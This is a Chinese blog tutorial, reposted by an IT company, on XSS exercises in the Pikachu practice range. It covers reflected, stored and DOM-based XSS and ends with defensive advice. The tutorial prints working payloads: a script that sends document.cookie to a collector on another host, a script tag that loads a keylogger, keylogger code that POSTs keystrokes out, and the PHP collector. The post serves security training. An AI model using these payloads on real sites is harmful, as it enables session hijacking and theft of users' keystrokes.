大数跨境

pikachu靶场之XSS漏洞

pikachu靶场之XSS漏洞 河北镌远网络科技有限公司
2023-09-13
1
导读:xss 就是向网站插入恶意 js 代码并被执行。用 js 获取一系列用户信息。



XSS(跨站脚本攻击漏洞)



xss 就是向网站插入恶意 js 代码被执行。用 js 获取一系列用户信息。

这是存储型的xss漏洞:

首先,攻击者得先在有XSS漏洞的站点中存入XSS 脚本,该脚本会获取登录用户的cookie并将它发送给黑客。然后用户访问了这个页面触发了 XSS 脚本,黑客就可以根据这个 cookie 伪装成用户登录,造成破坏。


xss分类

危害 :存储型>反射型>DOM型
反射型
交互的数据一般不会被存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。
存储型
交互的数据会被存在在数据库里面,永久性存储,一般出现在留言板,注册等页面
DOM型

不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射型。


反射型xss

get 提交

post 提交和上面差不多只不过内容在请求体中。

存储型xss


再次访问还是会触发脚本,脚本存到数据库里了

DOMXSS

DOM (Document Object Model) 译为文档对象模型,是 HTML 和 XML 文档的编程接口。

HTML DOM 定义了访问和操作 HTML 文档的标准方法。

DOM 以树结构表达 HTML 文档。


DOM型XSS 是一种不经过后台的特殊的反射型XSS。他的判断是在前端Javascript中的代码实现的不经过后端。

前端Javascript代码千奇百怪。

然后我们黑客发现了他这个网站有这个漏洞,我们可以精心准备一个 url 在 text 的参数中构建恶意脚本,发给用户,用户只要运行就会丢失信息等

payload:  ' onclick="alert('xss')">

<a href='' onclick="alert('xss')">'>就让往事都随风,都随风吧</a>

xss获取cookie利用反射型

payload:  <script>document.location = 'http://localhost:8082/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

恶意链接:
http://localhost:8083/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2Flocalhost%3A8082%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit


XSS获取键盘输入数据

当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。

还是将payload 放到存储型XSS中

因为<script src="....">   // js,加载到本地执行 不受限制,所以我们将 获取键盘信息的代码 rk.js 让他拉去到本地执行
payload:   <script src="http://10.12.2.21:8082/pkxss/rkeypress/rk.js"></script>

rk.js

/**
 * Created by runner on 2018/7/8.
 */

.....
//上面省略,就是一些用 js 获取键盘信息的代码
    var postdate = xl;
// 把获取到的信息发送给 黑客 10.12.2.21:8082 的电脑上的rkserver.php因为同源策略问题,黑客的电脑中的浏览器默认是不让 别的主机跨域访问我们可以设置一下就能,获取到 用户在键盘的数据信息。
    ajax.open("POST", "http://10.12.2.21:8082/pkxss/rkeypress/rkserver.php",true);
    ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    ajax.setRequestHeader("Content-length", postdate.length);
    ajax.setRequestHeader("Connection", "close");
    ajax.send(postdate);
}

rkserver.php

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */

include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");

$data = $_POST['datax'];
$query = "insert keypress(data) values('$data')";
$result=mysqli_query($link,$query);


?>

剩下的就是展示的代码了。

XSS绕过





XSS 常见防范措施

总的原则就是:输入做过滤, 输出做转义

• 过滤:根据业务需求进行过滤,如输入手机号的输入框,则只允许输入手机号格式的数字。

• 转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面进行 JS 转义。

 

a 标签中  中有个 href 标签。里面可以使用JavaScript协议来执行js代码,

if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
    }
    if($_GET['message'] == 'www.baidu.com'){
        $html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
    }else {
        //输出在a标签的href属性里面,可以使用javascript协议来执行js
        //防御:只允许http,https,其次在进行htmlspecialchars处理
        $message=htmlspecialchars($_GET['message'],ENT_QUOTES);
        $html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
    }
}

虽然用 htmlspecialchars处理了 '' "" 但是 href 能使用JavaScript协议来执行js,

文章来源:B站-小黑仔的日记

版权归原作者所有,如有侵权,请联系删除

为网络安全保驾护航
为网络安全勇往直前

如果我们的文章对你有帮助,就把我们“设为星标”吧!

↓↓

3秒加星标,这样就不容易错过文章推送啦!


往期回顾

一次持续的邮件钓鱼攻击的简单溯源分析
联想超70款笔记本电脑被曝新型UEFI固件漏洞



请长按下方图片

识别二维码 关注河北镌远

为客户创造价值

与客户共同成长





【声明】内容源于网络
0
0
河北镌远网络科技有限公司
河北镌远网络科技有限公司是一家集人才、经验、技术于一体的,提供全面系统集成解决方案的专业IT服务商。公司致力于为各个行业的业务信息化提供软件和通用解决方案、系统架构,系统管理和数据安全服务、以及IT咨询规划、系统集成与系统服务等专业化服务。
内容 0
粉丝 0
河北镌远网络科技有限公司 河北镌远网络科技有限公司是一家集人才、经验、技术于一体的,提供全面系统集成解决方案的专业IT服务商。公司致力于为各个行业的业务信息化提供软件和通用解决方案、系统架构,系统管理和数据安全服务、以及IT咨询规划、系统集成与系统服务等专业化服务。
总阅读0
粉丝0
内容0